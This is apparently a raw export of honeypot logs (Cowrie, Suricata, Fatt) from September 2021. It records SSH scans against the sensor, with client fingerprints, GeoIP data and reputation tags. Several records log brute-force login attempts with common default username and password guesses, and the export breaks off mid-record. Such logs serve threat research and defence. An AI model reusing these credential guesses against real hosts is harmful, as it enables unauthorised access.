"hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "0c425028acb1", "@version": "1", "timestamp": "2021-09-20T11:12:17.211531Z", "@timestamp": "2021-09-20T11:12:17.211Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
41630	192.168.20.103	109.199.241.180	Suricata	2021-09-20 16:06:54.999082+03	2021-09-20 16:15:03.166748+03	{"_id": "IgZRA3wBvYTbRNuEDJCb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:06:54.999082Z", "@timestamp": "2021-09-20T13:06:54.999Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
26482	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:12:17.49387+03	2021-09-20 14:15:13.327675+03	{"_id": "mgboAnwBvYTbRNuEGSEm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.login.failed", "message": "login attempt [abby/abby123] failed", "session": "0c425028acb1", "@version": "1", "password": "abby123", "username": "abby", "timestamp": "2021-09-20T11:12:17.493870Z", "@timestamp": "2021-09-20T11:12:17.493Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26483	95.85.8.215	109.199.241.180	Suricata	2021-09-20 14:12:17.211161+03	2021-09-20 14:15:13.328645+03	{"_id": "mwboAnwBvYTbRNuEGyFA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "flow_id": 1888681477653257, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39889, "dest_port": 22, "timestamp": "2021-09-20T11:12:17.211161Z", "@timestamp": "2021-09-20T11:12:17.211Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26484	95.85.8.215	109.199.241.180	Fatt	2021-09-20 14:12:17.211265+03	2021-09-20 14:15:13.329647+03	{"_id": "nAboAnwBvYTbRNuEHCFq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 39889, "dest_port": 22, "timestamp": "2021-09-20T11:12:17.211265", "@timestamp": "2021-09-20T11:12:17.211Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26485	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:12:18.544371+03	2021-09-20 14:15:13.331646+03	{"_id": "ngboAnwBvYTbRNuEHSEP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "0c425028acb1", "@version": "1", "duration": 1.3782269954681396, "timestamp": "2021-09-20T11:12:18.544371Z", "@timestamp": "2021-09-20T11:12:18.544Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26486	193.105.134.45	109.199.241.180	Suricata	2021-09-20 14:12:18.649107+03	2021-09-20 14:15:13.332646+03	{"_id": "pQboAnwBvYTbRNuEHyEp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "paramiko_1.17.1"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "193.105.134.45", "asn": 42708, "as_org": "Portlane AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "bad reputation", "src_ip": "193.105.134.45", "dest_ip": "192.168.20.116", "flow_id": 152017893996165, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 63640, "dest_port": 22, "timestamp": "2021-09-20T11:12:18.649107Z", "@timestamp": "2021-09-20T11:12:18.649Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	bad reputation	\N
26497	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:12:05.787466+03	2021-09-20 14:15:13.347648+03	{"_id": "ZwbnAnwBvYTbRNuE7iEm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:36250 (192.168.176.2:22) [session: 4a22fd910f37]", "session": "4a22fd910f37", "@version": "1", "protocol": "ssh", "src_port": 36250, "dest_port": 22, "timestamp": "2021-09-20T11:12:05.787466Z", "@timestamp": "2021-09-20T11:12:05.787Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26487	193.105.134.45	109.199.241.180	Fatt	2021-09-20 14:12:18.649107+03	2021-09-20 14:15:13.333647+03	{"_id": "pwboAnwBvYTbRNuEICFS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "193.105.134.45", "asn": 42708, "as_org": "Portlane AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "bad reputation", "src_ip": "193.105.134.45", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa,ssh-dss", "hassh": "a7a87fbe86774c2e40cc4a7ea2ab1b3c", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-paramiko_1.17.1", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 63640, "dest_port": 22, "timestamp": "2021-09-20T11:12:18.649107", "@timestamp": "2021-09-20T11:12:18.649Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	bad reputation	\N
26488	193.105.134.45	109.199.241.180	Cowrie	2021-09-20 14:12:19.02838+03	2021-09-20 14:15:13.335647+03	{"_id": "qAboAnwBvYTbRNuEICH3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "193.105.134.45", "asn": 42708, "as_org": "Portlane AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "bad reputation", "sensor": "b63cdd9641b8", "src_ip": "193.105.134.45", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin] failed", "session": "dc1f0ed2efd0", "@version": "1", "password": "admin", "username": "admin", "timestamp": "2021-09-20T11:12:19.028380Z", "@timestamp": "2021-09-20T11:12:19.028Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	bad reputation	\N
26489	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:12:20.505044+03	2021-09-20 14:15:13.336645+03	{"_id": "rQboAnwBvYTbRNuEJCHg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [testuser/123456] failed", "session": "56711b6e238f", "@version": "1", "password": "123456", "username": "testuser", "timestamp": "2021-09-20T11:12:20.505044Z", "@timestamp": "2021-09-20T11:12:20.505Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26490	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:08.479467+03	2021-09-20 14:15:13.337648+03	{"_id": "cgbnAnwBvYTbRNuE9SH4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:55006 (192.168.176.2:22) [session: 0d0f936f84a1]", "session": "0d0f936f84a1", "@version": "1", "protocol": "ssh", "src_port": 55006, "dest_port": 22, "timestamp": "2021-09-20T11:12:08.479467Z", "@timestamp": "2021-09-20T11:12:08.479Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26491	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:12:08.757176+03	2021-09-20 14:15:13.338648+03	{"_id": "dQbnAnwBvYTbRNuE-CEV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1595882819032635, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55006, "dest_port": 22, "timestamp": "2021-09-20T11:12:08.757176Z", "@timestamp": "2021-09-20T11:12:08.757Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26509	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:12:01.776975+03	2021-09-20 14:15:13.363646+03	{"_id": "MAbnAnwBvYTbRNuE3SHf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47316, "dest_port": 22, "timestamp": "2021-09-20T11:12:01.776975", "@timestamp": "2021-09-20T11:12:01.776Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26492	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:08.483222+03	2021-09-20 14:15:13.340647+03	{"_id": "dgbnAnwBvYTbRNuE-SE9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55006, "timestamp": "2021-09-20T11:12:08.483222", "@timestamp": "2021-09-20T11:12:08.483Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26493	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:08.758321+03	2021-09-20 14:15:13.342647+03	{"_id": "eQbnAnwBvYTbRNuE-SHh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", 